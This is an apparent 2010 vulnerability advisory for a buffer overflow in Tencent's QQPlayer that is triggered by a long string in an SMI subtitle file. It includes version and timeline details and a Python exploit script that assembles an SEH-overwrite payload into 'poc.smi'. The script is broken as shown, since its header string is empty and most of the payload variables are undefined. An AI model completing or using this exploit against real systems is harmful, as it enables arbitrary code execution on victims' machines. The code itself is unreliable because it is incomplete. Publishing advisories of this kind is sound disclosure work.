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QQplayer smi File Processing Buffer Overflow Vulnerability



QQplayer smi File Processing Buffer Overflow Vulnerability
QQplayer smi File Processing Buffer Overflow Vulnerability



QQplayer smi File Processing Buffer Overflow Vulnerability

By Lufeng Li of Neusoft Corporation

Vulnerable: QQPlayer<=2.3.696.400p1

Vendor:	Tencent Inc

1) Software Description:
QQPlayer is developed by Tencent Inc.It is very popular universal multimedia player in China.

2) Details:
A  buffer overflow vulnerability in QQplayer that Processing smi file. allows remote attackers to execute arbitrary code via a long string in an smi file. 

3) Timeline:
2010.05.26   Vendor notified 
2010.06.8    Vendor released new fixed versions(QQplayer 2.4.716.400p1)
2010.07.26   Advisory released

4) Exploit:
#!/usr/bin/env python

#################################################################
#
# Title: QQPlayer smi File Buffer Overflow Exploit
# Author: Lufeng Li of Neusoft Corporation
# Vendor: www.qq.com 
# Platform: Windows XPSP3 Chinese Simplified
# Tested: QQPlayer 2.3.696.400p1
# Vulnerable: QQPlayer<=2.3.696.400p1
# 
#################################################################
# Code :

head ='''
 
  
  
 
 
   
    
 

'''
payload=head+junk+nseh+seh+adjust+shellcode+junk_+foot

fobj = open("poc.smi","w")
fobj.write(payload)
fobj.close()

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